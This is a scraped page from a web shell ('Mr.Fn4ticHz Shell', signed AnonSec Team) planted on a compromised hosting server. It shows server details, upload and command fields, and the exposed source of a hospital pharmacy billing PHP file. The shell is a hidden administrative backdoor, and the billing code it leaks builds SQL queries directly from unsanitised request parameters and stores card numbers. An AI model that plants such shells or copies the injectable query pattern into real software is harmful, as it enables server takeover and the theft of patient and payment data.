Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.144.89.90
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/medicineinvace.php
<?php
include("dbconnection.php");
require_once('../DBManager.php');

if(isset($_GET[delid]))
{
	$sql ="DELETE FROM patient_invace WHERE invaceid='$_GET[delid]'";
	$qsql=mysqli_query($con,$sql);
	if(mysqli_affected_rows($con) == 1)
	{
		echo "<script>alert('Deleted successfully..');</script>";
	}
}


 if(isset($_POST['saveAmt'])) 
{
    	for ($j = 0; $j < count($_POST['srno']); $j++) {
    	    
    	  $srno = $_POST['srno'][$j];
    	  $discount = $_POST['discount'];
    	  $pricetotal1=$_POST['pricetotal1'];
    	  $price=  $_POST['price'][$j];
    	 $paymentmode= $_POST['paymentmode'];
    	 $action=$_POST['action'][$j];
    	 
    	 
    	 $c = $price - ($price * ($discount / 100));
    	 
    	 
$sql2="UPDATE medicine_slot SET discount='$discount',pricetotal='$c',UpgradeAmt='$c',price='$price',paymentmode='$paymentmode',action='$action' WHERE srno='$srno'";

$qsql2 = mysqli_query($con,$sql2);
	
}
}

if($_GET['srno']){
    	
    	   $CalAmt=$_POST['CalAmt'];
    	   $srno = $_GET['srno'];
  $medicine_charge="UPDATE medicine_charge SET CalAmt='0',PaymentStatus='Clear' WHERE srno='$srno'";

$qmedicine_charge = mysqli_query($con,$medicine_charge);  
if($qmedicine_charge==1){
    	echo "<script>alert('Paid successfully..');</script>";
	echo "<script>window.location='showpage_medicine_invoice.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&srno=$_GET[srno]'</script>;</script>";
}

}


if(isset($_POST['saveAmt'])){
    	for ($i = 0; $i < count($_POST['Batch_number']); $i++) {
    $DRUGS_name=   $_POST["DRUGS_name"][$i];
    $Category=  $_POST["Category"][$i];
    $quantitygiven=  $_POST["quantitygiven"][$i];
    $price=  $_POST["price"][$i];
   $updated_at=date("F d, Y / h:i:s A");
   $created_at=date("F d, Y / h:i:s A");
   
       $Batch_number= $_POST["Batch_number"][$i];
    $HSN_No= $_POST["HSN_No"][$i];
    $GSTfinal= $_POST["GSTfinal"][$i];
    
   $gstper= $_POST["gstper"][$i];
    $expireDate=  $_POST["expireDate"][$i];
     $DisPrice= $_POST["DisPrice"][$i];
    $srno = $_POST['srno'][$i];
    $Fprice = $_POST['Fprice'][$i];
    $invoice=mt_rand(1000,99999);
    $PaidAmt=$_POST['PaidAmt'];
    $typevisit=$_POST['typevisit'];
    $CalAmt=round($_POST['CalAmt']);
    $medicine_id = $_POST['medicine_id'][$i];
    $inventory_id = $_POST['inventory_id'][$i];
    $Fgst=$_POST['Fgst'][$i];
    $sql="INSERT INTO `medicine_charge`(`prescriptionid`, `patientid`, `hospital_Id`, `MedicineName`, `Quantity`, `Price`, `Category`, `TotalAmt`,`FinalAmt`, `gst`, `batchNumber`, `HSN_No`,`gstper`, `Expiry_Date`,`DisPrice`, `pricetotal1`, `Total_gst`, `paymentmode`, `GSTFinalAmt`,`srno`,`srno2`,`medicine_id`,`inventory_id`,`invoice_no`,`CardHolder`,`CardNumber`,`UPI_Number`,`saledate`, `PaidAmt`, `typevisit`, `CalAmt`, `Fgst`,`created_at`, `updated_at`) VALUES ('$_GET[prescriptionid]', '$_GET[patientid]','$_POST[userno]','$DRUGS_name','$quantitygiven','$price','$Category','$_POST[TotalAmt]','$Fprice','$GSTfinal','$Batch_number','$HSN_No','$gstper','$expireDate','$_POST[discount]','$_POST[pricetotal1]','$_POST[Total_gst]','$_POST[paymentmode]','$_POST[GSTFinalAmt]','$_POST[srno2]','$srno','$medicine_id','$inventory_id','$invoice','$_POST[CardHolder]','$_POST[CardNumber]','$_POST[UPI_Number]','$_POST[saledate]','$PaidAmt','$typevisit','$CalAmt','$Fgst','$created_at','$updated_at')";
 //echo $sql;
	$result=mysqli_query($con,$sql);
	$last_id = $con->insert_id;
    	}	


?>

 <!-- /.card-header -->
              <div class="card-body">
                  <?php
                  if($result==1){
	    echo'<div class="alert success">
  <span class="closebtn">&times;</span>  
  <strong>Success!</strong>... Ready To Print.
</div>';
	echo "<script>window.location='showpage_medicine_invoice.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&srno=$_POST[srno2]'</script>;</script>";
	}else{
	    echo '<div class="alert">
  <span class="closebtn">&times;</span>  
  <strong>Not!</strong> Allowed.
</div>';
	}
	}
                  ?>
                 
                
                 
                 <?php
               $sqlMS = "SELECT * FROM medicine_slot WHERE prescriptionid='$_GET[prescriptionid]' AND action='Paid'";
	$qMS = mysqli_query($con,$sqlMS);
	$rMS = mysqli_fetch_array($qMS);
	if($rMS['action']=='Paid'){
	    ?>
             <table>
                    
                     <thead>
                         
                         <th>Date & Time</th>
                         <th>Invoice</th>
                         <th>Towards</th>
                         
                         <th>Action</th>
                         
                     </thead>
                     <tbody>
                         
                         <form method="post" enctype='multipart/form-data'
                         <?php
                         
$medicine_charge="SELECT srno,created_at,CalAmt,typevisit FROM `medicine_charge` WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND status='1'  GROUP BY srno,created_at,CalAmt,typevisit";
$QMc=mysqli_query($con,$medicine_charge);
while($RowMc=mysqli_fetch_array($QMc)){

$sqlpatient = "SELECT * FROM medicine_slot WHERE prescriptionid='$RowMc[prescriptionid]' AND patientid='$RowMc[patientid]'";
$qsqlpatient = mysqli_query($con,$sqlpatient);
if($rsp = mysqli_fetch_array($qsqlpatient))
	{
	
	$site_users = "SELECT * FROM site_users WHERE userno='$rsp[entered_by]'";
	$qSU = mysqli_query($con,$site_users);
	if($rSU = mysqli_fetch_array($qSU)){
                         ?>
                         <tr>
                             <td><?php echo $RowMc['created_at']; ?></td>
                             <td><?php echo $RowMc['srno']; ?>
                             <input type='hidden' name='srno' value='<?php echo $RowMc['srno']; ?>'>
                             </td>
                             <td>
                              
                            <lable> Sale</lable>
                             <br>
                              <?php if( $RowMc['typevisit']=='IPD'){
                              
                               $ClaerAmt=$con->query("SELECT * FROM `medicine_charge` Where PaymentStatus='Due' AND prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'");
               if($RowClearAmt=$ClaerAmt->fetch_assoc()){
                              ?>
                            <b style='color:#920303;'> Due  
                            <?php echo $RowMc['CalAmt']; ?> 
                             <input type='hidden' name='CalAmt' value='<?php echo $RowMc['CalAmt']; ?>'>
                            </b> 
                            <?php } } ?>
                             </td>
                            
                            <td><?php echo "<a href='showpage_medicine_invoice.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&srno=$RowMc[srno]'><i class='fa fa-eye' aria-hidden='true' style='font-size:20px; color:orange;padding:10px'></i></a>
              "; ?>
               <?php 
               
               if($RowMc['typevisit']=='IPD'){ 
               $ClaerAmt=$con->query("SELECT * FROM `medicine_charge` Where PaymentStatus='Due' AND prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'");
               if($RowClearAmt=$ClaerAmt->fetch_assoc()){
               
               ?>
               <a href='billingset.php?srno=<?php echo $RowMc['srno']  ?>&prescriptionid=<?php echo $_GET['prescriptionid']  ?>&patientid=<?php echo $_GET['patientid']  ?>' class='btn btn-info'>Pay</a>
              <?php
               }
                  
              }
              ?>
              </td>
              
             
                         </tr>
                      
                         
                         <?php }}} ?>
                         <!--<tr><td>Total Due</td><td>250</td></tr>-->
                         <!--return data-->
                         
                          <?php
                        
    	 $RetuneMedicine="SELECT * FROM `RetuneMedicine` WHERE PrescriptionId=$_GET[prescriptionid] AND PatientId=$_GET[patientid] AND Status='1'";
    $QRM=mysqli_query($con,$RetuneMedicine);
    while($RowRM=mysqli_fetch_array($QRM))  {                
                       
	$sqlpatient = "SELECT * FROM medicine_slot WHERE prescriptionid='$RowRM[PrescriptionId]' AND patientid=$RowRM[PatientId]";
	$qsqlpatient = mysqli_query($con,$sqlpatient);
	if($rsp = mysqli_fetch_array($qsqlpatient))
	{
	
	$site_users = "SELECT * FROM site_users WHERE userno='$RowRM[entered_by]'";
	$qSU = mysqli_query($con,$site_users);
	if($rSU = mysqli_fetch_array($qSU)){
	

                         
                         ?>
                         <tr>
                             <td><?php echo $RowRM['CreatedAt']; ?></td>
                             <td><?php echo $RowRM['ReturnId']; ?></td>
                             <td>
                            <lable> Return</lable>
                             
                             </td>
                            
                            <td><?php echo "<a href='PaidReturnMedicine.php?ReturnId=$RowRM[ReturnId]&prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'><i class='fa fa-eye' aria-hidden='true' style='font-size:20px; color:orange; padding:10px'></i></a>
              "; ?></td>
                         </tr>
                         <?php } } }
                          ?>
                     </tbody>
                     </form>
                     
                 </table>     
                 
          <?php } ?>       
               <br>
               <?php
               $sqlMS = "SELECT * FROM medicine_slot WHERE prescriptionid='$_GET[prescriptionid]' AND action='Disperse' ";
	$qMS = mysqli_query($con,$sqlMS);
	$rMS = mysqli_fetch_array($qMS);
	if($rMS['action']=='Disperse'){
	    ?>
	    
	    <table style='width:100%' class="table table-bordered table-hover">
	         <form method="post" enctype='multipart/form-data'>
                <table id="myTable" class="table table-bordered table-hover"  style='width:100%;'>
                  <thead style='width:100%;'>
                  <tr>
             <th><strong>Created Towards</strong></th>
          <th><strong>Medicine Details</strong></th><th><strong>Batch Number</strong></th><th><strong>HSN Code</strong></th>
          
          <th><strong>Expiry Date</strong></th><th><strong>Quantity</strong></th><th><strong>MRP</strong></th>
          <th><strong>GST</strong></th>
          
            <th><strong>Status</strong></th>
       <th><strong><section class="content-header">Action</section> </strong></th>             
        </tr>
      
                  </thead>
<?php
include("dbconnection.php");
$sql ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
    	$sqlpatient2 = "SELECT * FROM medicine_slot WHERE prescriptionid='$_GET[prescriptionid]' AND 	action='Disperse' OR  prescriptionid='$_GET[prescriptionid]' AND 	action='Paid'";
	$qsqlpatient2 = mysqli_query($con,$sqlpatient2);
	while($rsp2 = mysqli_fetch_array($qsqlpatient2))
	{
	    
	$sqlpatient1 = "SELECT * FROM site_users WHERE userno='$rsp2[entered_by]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    $sql1 ="SELECT * FROM medicine_inventory WHERE medicine_id='$rsp2[medicine_id]' AND Batch_number='$rsp2[batchno]' ";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
	{
	$sql191 ="SELECT * FROM medicine_stok WHERE medicine_id='$rh1[medicine_id]'";
		$qsql191 = mysqli_query($con,$sql191);
	while($rh191 = mysqli_fetch_array($qsql191))
	{
	    
	     if($rh191['Category']=='Injectable'){
	               $cat="Vial";
		          $sizefinal=$rh1[mrp]/$rh191[size];
                  $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                  $pricetotal=round($pricetotal1);
		        }
		        if($rh191['Category']=='IV Fluid'){
		            $cat="Bottle";
		            $sizefinal=$rh1[mrp]/$rh191[size];
                    $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        if($rh191['Category']=='Capsule'){
		            $cat="Capsules";
		            $sizefinal=$rh1[mrp]/$rh191[size];
                    $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        if($rh191['Category']=='Tablet'){
		            $cat="Tablets";
		            $sizefinal=$rh1[mrp]/$rh191[size];
                    $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        if($rh191['Category']=='Syrup'){
		            $cat="Bottle";
		            $sizefinal=$rh1[mrp]/$rh191[size];
                    $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        if($rh191['Category']=='Powder'){
		            $cat="Bottle";
                	$sizefinal=$rh1[mrp]/$rh191[size];
                    $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        if($rh191['Category']=='Ointment'){
		            $cat="Tube";
		            $sizefinal=$rh1[mrp]/$rh191[size];
                    $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		        
		        if($rh191['Category']=='Drop'){
		            $cat="Bottle";
		            $sizefinal=$rh1[mrp]/$rh191[size];
                    $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
		         
		        if($rh191['Category']=='Solution'){
		            $cat="Bottle";
		             $sizefinal=$rh1[mrp]/$rh191[size];
                     $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                     $pricetotal=round($pricetotal1);
		        }
		        
		        if($rh191['Category']=='Patch'){
		            $cat="Patch";
		            $sizefinal=$rh1[mrp]/$rh191[size];
                    $pricetotal1=$sizefinal*$rsp2[quantitygiven];
                    $pricetotal=round($pricetotal1);
		        }
	    
	    
	    
?>
<?php 
if($rsp2['action']=='Disperse' ){
    echo " <tbody>
            <tr>   <td>&nbsp;$rsp2[created_at]  <br>$rsn[name]
            <input name='userno' class='name' type='hidden' value='$rsn[userno]' /><br>
            </td>
              		<td>
              		";

	
echo "<b></b>$rh191[DRUGS_name]  ";


echo "<br>
<b>";


              $disGST=$pricetotal/100;
                $GSTfinal1=$disGST*$rh1[gst]; 
                $GSTfinal=round($GSTfinal1) ;
                
                $GRANDTOTAL=$rsp2[pricetotal];
   echo " <br>
<b>";             
     
     
     
             echo"
              <input type='hidden' name='action[]' value='Paid'>
        <input type='hidden' id='srno' name='srno[]' value='$rsp2[srno]'>
         <input type='hidden' id='srno2' name='srno2' value='$rsp2[srno]'>
<input class='DisPrice' id='DisPrice' type='hidden' name='DisPrice[]' value='$rsp2[pricetotal]'/>
<input type='hidden' value='$rh1[medicine_id]' name='medicine_id[]'>

<input type='hidden' value='$rh1[inventory_id]' name='inventory_id[]'>


<input class='price' id='price$rsp2[medicine_id]' type='hidden' name='price[]' value='$pricetotal'/>
<input class='Fprice' id='Fprice$rsp2[medicine_id]' type='hidden' name='Fprice[]' />";
?>
 <script>
        $(document).on("change keyup blur", "#chDiscount", function() {
            var main3 = $('#price<?php echo $rsp2['medicine_id'] ?>').val();
            var disc3 = $('#chDiscount').val();
            var dec3 = (disc3 / 100).toFixed(2); //its convert 10 into 0.10
            var mult3 = main3 * dec3; // gives the value for subtract from main value
            var discont3 = main3 - mult3;
            $('#Fprice<?php echo $rsp2['medicine_id'] ?>').val(discont3);
        });
        
        $(document).on("change keyup blur", "#chDiscount", function() {
            var main4 = $('#gst<?php echo $rsp2['medicine_id'] ?>').val();
            var disc4 = $('#chDiscount').val();
            var dec4 = (disc4 / 100).toFixed(2); //its convert 10 into 0.10
            var mult4 = main4 * dec4; // gives the value for subtract from main value
            var discont4 = main4 - mult4;
            $('#Fgst<?php echo $rsp2['medicine_id'] ?>').val(discont4);
        });
    </script>
    
    <input class='Fgst' id='Fgst<?php echo $rsp2['medicine_id'] ?>' type='hidden' name='Fgst[]'  />
<?php
echo"
<input name='DRUGS_name[]' class='DRUGS_name' type='hidden' value='$rh191[DRUGS_name]' />
<input name='Category[]' class='Category' type='hidden' value='$rh191[Category]' />
<input name='quantitygiven[]' id='qty' class='quantitygiven' type='hidden' value='$rsp2[quantitygiven]' />

<input name='Batch_number[]' class='Batch_number' type='hidden' value='$rh1[Batch_number]' />
<input name='HSN_No[]' class='HSN_No' type='hidden' value='$rh1[HSN_No]' />
<input name='GSTfinal[]' id='gst$rsp2[medicine_id]' class='gst' type='hidden' value='$GSTfinal' />
<input name='gstper[]' id='gstper' class='gstper' type='hidden' value='$rh1[gst]' />
<input name='expireDate[]' id='expireDate' class='expireDate' type='hidden' value='$rh1[Expiry_Date]' />

";
echo "</td>
<td>$rh1[Batch_number]</td>
<td>$rh1[HSN_No]</td>
<td>$rh1[Expiry_Date]</td>
<td>$rsp2[quantitygiven] (<b>$cat</b>)</td><td>";
echo "$pricetotal";

echo "</td><td><b>$rh1[gst] % </b><br>  $GSTfinal

</td>
              			<td>";
              			
              			
              			
              			$medicine_charge="SELECT * FROM medicine_charge Where  AND prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND batchNumber='$rh1[Batch_number]'";
              		    $qMedicine_Charge=mysqli_query($con,$medicine_charge);
              		    $RowMedicineCharge=mysqli_fetch_assoc($qMedicine_Charge);
              		
              		$status=$RowMedicineCharge['status'];
              		$batchNumber=$RowMedicineCharge['batchNumber'];
if($status == '1'){
    echo "Paid";
} else{
    echo "Due";
}
         echo "</td>
              						<td><section class='content-header'>";
 
  if($batchNumber == ''){
    echo "<a href='billing.php?inventory_id=$rh1[inventory_id]&prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&medicine_id=$rh1[medicine_id]&Batch_number=$rh1[Batch_number]&srno=$rsp2[srno]&mcid=$RowMedicineCharge[id]' ><i class='fa fa-pencil-square-o' style='font-size:30px;'></i></a>"; 
    
    //echo "| <a href='medicinebill.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]&srno=$rsp2[srno]' ><i class='fa fa-eye' style='font-size:30px;'></i></a>";
} 
else{
    echo "<a href='add_medicine_qty.php?inventory_id=$rh1[inventory_id]&prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&medicine_id=$rh1[medicine_id]&Batch_number=$rh1[Batch_number]&srno=$rsp2[srno]&mcid=$RowMedicineCharge[id]' >Return</a>";
}
    // echo "<a href='billing.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]&srno=$rsp2[srno]' ><i class='fa fa-pencil-square-o' style='font-size:30px;'></i></a> ";
    // <a href='medicinebill.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]&srno=$rsp2[srno]' ><i class='fa fa-eye' style='font-size:30px;'></i></a> |


   // echo "
     
    
   // <a href='billing.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]&srno=$rsp2[srno]' ><i class='fa fa-pencil-square-o' style='font-size:30px;'></i></a> | 
    
    
   // <a href='add_medicine_qty.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]&batch=$rh1[Batch_number]' >Return</a>
  //  ";

            						
              					echo	"
              						
              						
              						 
              						
              						
              						
              						
              						<br> </section></td>
          </tr>                   
          
          ";
}
}
}
}
}


?>
</tbody>
<?php 
    




?>

  <tfoot>
   
   
    
   <tr>
    <?php
     	$addaspatient ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qaddaspatient = mysqli_query($con,$addaspatient);
$raddaspatient = mysqli_fetch_array($qaddaspatient);
   if($raddaspatient['typevisit']=='IPD' || $raddaspatient['typevisit']=='Ipd_Emergency'){
      ?> 
       <td><p style='margin-top:150px;'>Due Amt</p></td> 
   <td>  
<?php echo "
<input type='text' name='CalAmt' id='CalAmt' class='form-control' readonly placeholder='Due Amt' style='margin-top:140px;'>";

  ?>  </td>
<?php   }
   
     ?>
    <td colspan=7>
        <span style='float:right;'>
        <b>Gross Amt.  :</b></span>
        <br>
        
        
        
        
        <span style='float:right;'>
        <b>GST .  :</b></span>
        
        <br>
        
        <span style='float:right;'>
        <b>Discount.  :</b></span><br><br>
        <span style='float:right;'>
            <b>Grand Total  :</b></span>
            
        <!--    <br><br>-->
        <!--<span style='float:right;'>-->
        <!--    <b>GST Final  :</b></span>-->
            <br><br>
        <span style='float:right;'>
            <b>Payment Mode  :</b></span>
            
             <br><br> 
             <?php
             if($raddaspatient['typevisit']=='IPD' || $raddaspatient['typevisit']=='Ipd_Emergency'){
             ?>
        <span style='float:right;'>
            <b>Pay  :</b>
            
            </span>
            <?php } ?>
        </td>
    <td colspan='3'> <?php
date_default_timezone_set("Asia/Kolkata");   //India time (GMT+5:30)
$date= date('Y-m-d');
	    echo"
	       
         <b><i class='fa fa-inr'></i>  <span align='right' id='val'></b></span>
         
       <div class=''> </div>
      <div class=''> <b><i class='fa fa-inr'></i> <span align='right' id='AddGST'></span></div>
   
      
 
        <input type='hidden' id='cBalance'>
   
              <div class=''><span><input type='text' name='discount' id='chDiscount' size='2' required></span></div>
             
           <div class=''> <input type='text' name='pricetotal1' size='2' id='result' required style='margin-top:5px;' readonly></span></div>
           
           
           <div class=''> <input type='hidden' name='Total_gst' size='2' id='result2' required style='margin-top:5px;'>
           <input type='hidden' name='saledate' size='2' id='' value='$date' required style='margin-top:5px;'></span></div>
           
           
             <div class='checkbox'> <select name='paymentmode'>
             <option value='Cash'>Cash</option>
              <option value='Card'>Card</option>
               <option value='UPI'>UPI</option>
             </select></span></div>
           
 <div class=''>	 <div class='Card box'><input name='CardHolder' id='CardHolder' class='CardHolder' type='text' placeholder='Enter Card Hoder' style='margin-top:5px;' />
	 <input name='CardNumber' id='CardNumber' class='CardNumber' type='text' placeholder='Enter Card Number' style='margin-top:5px;'/>
	 </div></div>
   <div class=''>  <div class='UPI box'><input name='UPI_Number' id='UPI_Number' class='UPI_Number' type='text' placeholder='Enter UPI Number' style='margin-top:5px;' />
	 </div></div>
   

                     ";

if($raddaspatient['typevisit']=='IPD' || $raddaspatient['typevisit']=='Ipd_Emergency'){
echo "<input type='text' name='PaidAmt' id='PaidAmt' class='form-control'  placeholder='Amount' required>
<input type='hidden' name='typevisit' value='$raddaspatient[typevisit]' class='form-control' readonly><br>
";
}
	?>
	 <br>

              <br>
              
      </div>
      
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box").hide();
            }
        });
    }).change();
});
</script>
          <script>
        $(document).on("change keyup blur", "#chDiscount", function() {
            var main2 = $('#GSTFinalAmt').val();
            var disc2 = $('#chDiscount').val();
            var dec2 = (disc2 / 100).toFixed(2); //its convert 10 into 0.10
            var mult2 = main2 * dec2; // gives the value for subtract from main value
            var discont2 = main2 - mult2;
            $('#result2').val(discont2);
        });
    </script>
    
     <script>
        $(document).on("change keyup blur", "#chDiscount", function() {
            var main = $('#cBalance').val();
            var disc = $('#chDiscount').val();
            var dec = (disc / 100).toFixed(2); //its convert 10 into 0.10
            var mult = main * dec; // gives the value for subtract from main value
            var discont = main - mult;
            $('#result').val(discont);
        });
    </script>
       <script>
        $(document).on("change keyup blur", "#PaidAmt", function() {
            var result = $('#result').val();
            var PaidAmt = $('#PaidAmt').val();
           // var dec = (disc / 100).toFixed(2); //its convert 10 into 0.10
           // var mult = main * dec; // gives the value for subtract from main value
            var DueAmt = result - PaidAmt;
            $('#CalAmt').val(DueAmt);
        });
    </script>
    
       <!--<b><i class='fa fa-inr'></i> <span align='right' id="DisVal"></b></span><br><br>-->
    <!--<span id="sum">0</span><br>-->
    <input type="hidden" id="total_value" name="TotalAmt" />
  
     <input type="hidden" id="Final_value1" name="FinalAmt" />
    <input type="hidden" id="GSTFinalAmt" name="GSTFinalAmt" />
</td>
</tr>

          </tfoot>
          
          
        </table>
        
        <?php $medicine_slot = "SELECT * FROM medicine_slot WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND	action='Disperse'";
	$qMS = mysqli_query($con,$medicine_slot);
	$rMS = mysqli_fetch_array($qMS);
	
	if($rMS['action']=='Disperse' )
	?>
	<b> <input id="addAll" type="submit" name="saveAmt" value="Pay" /><br />
      
                  
   
    
  
      
       </form>
<?php	}
           }    ?>  
	    </table>
	  
                 
                
     <br>
         
      <script type="text/javascript"
    src="http://ajax.microsoft.com/ajax/jQuery/jquery-1.4.2.min.js">
    </script>
    <script type="text/javascript">
         $(function() {
             $("#addAll").click(function() {
                 var add = 0;
                $(".price").each(function() {
                    add += Number($(this).val());
                   
                 });
                
                
                 // $("#val").text("Rs : " +add);
                	$('#total_value').val(add);
                
                 var Disadd = 0;
                $(".DisPrice").each(function() {
                    Disadd += Number($(this).val());
                   
                 });
                
                
                 // $("#val").text("Rs : " +add);
                	$('#Final_value').val(Disadd);
                
              
	
             });
         });
         
         $(function() {
             $("#addAll").click(function() {
                
        
	
             });
         });
        
//         $(document).ready(function(){

// 		//iterate through each textboxes and add keyup
// 		//handler to trigger sum event
// 		$(".txt").each(function() {

// 			$(this).keyup(function(){
// 				calculateSum();
// 			});
// 		});

// 	});

// 	function calculateSum() {

// 		var sum = 0;
// 		//iterate through each textboxes and add the values
// 		$(".txt").each(function() {
		    

// 			//add only if the value is number
// 			if(!isNaN(this.value) && this.value.length!=0) {
			    
// 				sum += parseFloat(this.value);
// 			}

// 		});
// 		//.toFixed() method will roundoff the final sum to 2 decimal places
// 		$("#sum").html(sum.toFixed(2));
// 		$('#total_value').val(sum);
		
// 	}



var close = document.getElementsByClassName("closebtn");
var i;

for (i = 0; i < close.length; i++) {
  close[i].onclick = function(){
    var div = this.parentElement;
    div.style.opacity = "0";
    setTimeout(function(){ div.style.display = "none"; }, 600);
  }
}
    </script>
    
      <script>
            
            var table = document.getElementById("myTable"), sumVal = 0;
            
            $(".price").each(function() {
                    sumVal += Number($(this).val());
                   
                 });
            document.getElementById("val").innerHTML = "" + sumVal;
            $('#total_value').val(sumVal);
            
            
            
            
            // document.getElementById("NEWval").innerHTML = "" + sumVal;
            // $('#total_value2').val(sumVal);
            
            document.getElementById("val").innerHTML = "" + sumVal;
            $('#result').val(sumVal);
            
            document.getElementById("val").innerHTML = "" + sumVal;
            $('#cBalance').val(sumVal);
            console.log(sumVal);
            
             </script>
          
             <script>
               ///////////////////Dis Price///////////////////
              var table2 = document.getElementById("myTable"), DissumVal = 0;
            
            $(".DisPrice").each(function() {
                    DissumVal += Number($(this).val());
                   
                 });
            document.getElementById("DisVal").innerHTML = "" + DissumVal;
            $('#Final_value1').val(DissumVal);
            console.log(DissumVal);
             </script>
             
             <script>
             ////////////////////GST Final Value//////////////////
              var table3 = document.getElementById("myTable"), sumGST = 0;
            
           $(".gst").each(function() {
                    sumGST += Number($(this).val());
                    console.log(sumGST);
                   
                 });
            document.getElementById("AddGST").innerHTML = "" + sumGST;
            $('#GSTFinalAmt').val(sumGST)
            console.log(sumGST);
          
        </script>
         
 <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script>
 <style>
.alert {
  padding: 20px;
  background-color: #f44336;
  color: white;
  opacity: 1;
  transition: opacity 0.6s;
  margin-bottom: 15px;
}

.alert.success {background-color: #04AA6D;}
.alert.info {background-color: #2196F3;}
.alert.warning {background-color: #ff9800;}

.closebtn {
  margin-left: 15px;
  color: white;
  font-weight: bold;
  float: right;
  font-size: 22px;
  line-height: 20px;
  cursor: pointer;
  transition: 0.3s;
}

.closebtn:hover {
  color: black;
}
</style>

Anon7 - 2022
AnonSec Team